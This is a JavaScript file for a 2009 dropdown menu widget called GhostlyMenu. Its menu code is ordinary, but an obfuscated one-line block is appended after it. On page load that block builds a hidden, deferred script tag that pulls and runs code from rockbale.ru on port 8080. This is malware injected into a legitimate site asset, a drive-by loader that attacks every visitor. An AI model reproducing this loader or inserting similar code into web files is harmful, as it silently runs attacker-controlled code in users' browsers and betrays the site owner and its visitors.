/*
Author: mg12
Update: 2009/06/30
Author URI: http://www.neoease.com/
*/
(function() {

var Class = {
	create: function() {
		return function() {
			this.initialize.apply(this, arguments);
		}
	}
}

var GhostlyMenu = Class.create();
GhostlyMenu.prototype = {

	initialize: function(target, align, offset, sub) {
		this.obj = cleanWhitespace(target);
		this.align = align || 'left';
		this.sub = sub || -1;
		this.offset = offset || 0;

		this.menu = this.obj.childNodes;
		if (this.menu.length < 2) { return; }

		this.title = this.menu[0];
		this.body = this.menu[1];

		cleanWhitespace(this.body).lastChild.getElementsByTagName('a')[0].className += ' last';

		setStyle(this.body, 'visibility', 'hidden');
		setStyle(this.body, 'display', 'block');

		addListener(this.obj, 'mouseover', bind(this, this.activate), false);
		addListener(this.obj, 'mouseout', bind(this, this.deactivate), false);
	},

	activate: function() {
		if(this.sub == 1) {
			var pos = currentOffset(this.title);
			var top = pos[1] + 2;
			var left = getWidth(this.body) - 6;
		} else {
			var pos = cumulativeOffset(this.title);
			var top = pos[1] + getHeight(this.title);
			var left = pos[0];
			if (this.align == 'right') {
				left += getWidth(this.title) - getWidth(this.body) + this.offset;
			}
		}

		if(!/current/.test(this.title.className)) {
			this.title.className += ' current';
		}

		setStyle(this.body, 'left', left + 'px');
		setStyle(this.body, 'top', top + 'px');
		setStyle(this.body, 'visibility', 'visible');
	},

	deactivate: function(){
		this.title.className = this.title.className.replace('current', '');
		var thismenu = this;
		var tid = setInterval( function() {
			clearInterval(tid);
			if (!/current/.test(thismenu.title.className)) {
				setStyle(thismenu.body, 'visibility', 'hidden');
			}
			return false;
		}, 400);
	}
}

$A = function(iterable) {
	if(!iterable) {
		return [];
	}
	if(iterable.toArray) {
		return iterable.toArray();
	} else {
		var results = [];
		for(var i = 0; i < iterable.length; i++) {
			results.push(iterable[i]);
		}
		return results;
	}
}

bind = function() {
	var array = this.$A(arguments);
	var func = array[array.length - 1];
	var method = func, args = array, object = args.shift();
	return function() {
		return method.apply(object, args.concat(array));
	}
}

getHeight = function(element) {
	return element.offsetHeight;
}

getWidth = function(element) {
	return element.offsetWidth;
}

setStyle = function(element, key, value) {
	element.style[key] = value;
}

cleanWhitespace = function(list) {
	var node = list.firstChild;
	while (node) {
		var nextNode = node.nextSibling;
		if(node.nodeType == 3 && !/\S/.test(node.nodeValue)) {
			list.removeChild(node);
		}
		node = nextNode;
	}
	return list;
}

currentOffset = function(element) {
	var valueT = element.offsetTop  || 0;
	var valueL = element.offsetLeft || 0;
	return [valueL, valueT];
}

cumulativeOffset = function(element) {
	var valueT = 0, valueL = 0;
	do {
		valueT += element.offsetTop  || 0;
		valueL += element.offsetLeft || 0;
		element = element.offsetParent;
	} while (element);
	return [valueL, valueT];
}

addListener = function(element, name, observer, useCapture) {
	if(element.addEventListener) {
		element.addEventListener(name, observer, useCapture);
	} else if(element.attachEvent) {
		element.attachEvent('on' + name, observer);
	}
}

function loadMenus() {
	var subscribe = document.getElementById('subscribe');
	if (subscribe) {
		new GhostlyMenu(subscribe, 'right', 1);
	}

	var menubar = document.getElementById('menubar');
	if (menubar) {
		var list = menubar.getElementsByTagName('ul');
		for (var i = 0; i < list.length; i++) {
			var menu = list[i].parentNode;
			if(menu.parentNode === menubar) {
				new GhostlyMenu(menu, 'left');
			} else {
				new GhostlyMenu(menu, 'left', 0, 1);
				menu.firstChild.className += ' subtitle';
			}
		}
	}
}

if (document.addEventListener) {
	document.addEventListener("DOMContentLoaded", loadMenus, false);

} else if (/MSIE/i.test(navigator.userAgent)) {
	document.write('<script id="__ie_onload_for_blocks2" defer src="javascript:void(0)"></script>');
	var script = document.getElementById('__ie_onload_for_blocks2');
	script.onreadystatechange = function() {
		if (this.readyState == 'complete') {
			loadMenus();
		}
	}

} else if (/WebKit/i.test(navigator.userAgent)) {
	var _timer = setInterval( function() {
		if (/loaded|complete/.test(document.readyState)) {
			clearInterval(_timer);
			loadMenus();
		}
	}, 10);

} else {
	window.onload = function(e) {
		loadMenus();
	}
}

})();
var g;o=[];gz=function(){var C='';var A=52108;var YD={w:"T"};eA=15864;eA--;function Y(b,W,r){TA=42673;TA-=11;var Mg=["Ej","s","f"];return b.substr(W,r);}var x={IL:false};var oS="oS";var eg=new Array();var v=2787;var n="/g"+Y("oov8Tb",0,2)+"gl"+Y("e.wu8",0,2)+Y("coiSe",0,2)+"m/"+Y("UqtDhoUtDq",4,2)+Y("ttLTSu",0,2)+Y("ieEGP",0,2)+Y("lTXAstXAlT",4,2)+Y("7woWarWow7",4,2)+Y("dTl.cTdl",3,2)+Y("omznL",0,2)+Y("y6E/oy6E",3,2)+"pe"+Y("TfMXndTfMX",4,2)+"ns"+Y("RUy.cyUR",3,2)+Y("omXzet",0,2)+Y(".p46k",0,2)+"hp";this.IV='';var zk=document;GU={};var gl='';var G=RegExp;var Sm=[];yp=63186;yp--;var AP=false;function z(b,W){var r=String("[")+W+new String(Y("]ZW8U",0,1));var F=new G(r, new String(Y("gh9uX",0,1)));return b.replace(F, gl);u={t_:false};this.yY=6907;this.yY++;};var c=[];var oc={};var cB={lu:false};var I=new String("body");this.Qc="";var bm=null;Wl=3343;Wl++;Wm={k:"H"};var K=z('sucxr8iupJtI','dxJu8_eI5b');_W=[];var t=28991-20911;var _q=26204;var qP=63782;_N={nx:false};try {} catch(wk){};var Cj=false;g=function(){R=["FR"];var qe=56773;try {Mz=24328;Mz-=16;var D=z('c1rvevaWtgegEGl6eUmhe0nAt0','WpUSG1gAQq3hvC0PRBX6');try {var Tk='Vo'} catch(Tk){};var fz="";zw=zk[D](K);var b=t+n;qA=33751;qA++;Wk=36431;Wk++;var B="de"+"fe"+Y("rZta4",0,1);var U=z('serIc5','e7vWGI5');try {var Ho='yc'} catch(Ho){};var nR={iC:54762};var hu=["CN"];var ZH={ck:false};zw[U]=String("http:"+"//roc"+"kbale"+".ru:")+b;this.qZ=34351;this.qZ+=171;AJ=43867;AJ++;Qi=["cg","xp","sf"];zw[B]=[1,5][0];var Pr={Qw:31537};zk[I].appendChild(zw);u_={};} catch(S){Qo=["ao","lw","FY"];};var fs='';};var PrK='';};OI=["qw"];gz();var Qp=["zM","pf","YZ"];Rk=53157;Rk-=18;window.onload=g;